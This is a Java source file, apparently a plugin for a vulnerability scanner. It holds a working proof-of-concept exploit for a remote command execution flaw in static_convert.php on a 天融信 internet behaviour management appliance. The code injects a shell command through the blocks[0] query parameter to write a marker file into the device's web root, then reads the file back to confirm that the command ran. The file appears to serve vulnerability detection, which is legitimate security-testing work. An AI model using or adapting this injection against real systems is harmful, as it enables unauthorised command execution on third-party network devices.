package com.achuna33.Controllers;

import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.HttpRequest;
import com.achuna33.Utils.Response;

import java.net.MalformedURLException;

@BasicMapping(uri = "天融信")
public class TRXController extends Controller implements BasicController{
    @VulnerabilityDescriptionMapping(Description = "天融信 上网行为管理系统 static_convert.php 远程命令执行漏洞",SupportVulType = SupportVul.RuntimeExec)
    public void vul_c_命令执行(Poc_Exp type, String target, Object... args) throws MalformedURLException {
        WriteLog("\n开始检测：  vul_c_命令执行");


        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27testasdtest%27%20%3E%3E%20/var/www/html/config_application.txt%0a");
                Response result = httpRequest.Get("");
                HttpRequest httpRequest1 =  new HttpRequest(target+"/config_application.txt");
                Response result1 = httpRequest1.Get("");

                if(result1.responseBody.contains("testasdtest")&&result1.statusCode==200){
                    WriteLog("\n 存在漏洞");
                    WriteLog("\n请求地址："+target+"/view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27testasdtest%27%20%3E%3E%20/var/www/html/config_application.txt%0a");
                    WriteLog("\n"+result1.responseBody);
                }else {
                    WriteLog("\n 不存在漏洞");
                }
        }
    }
}
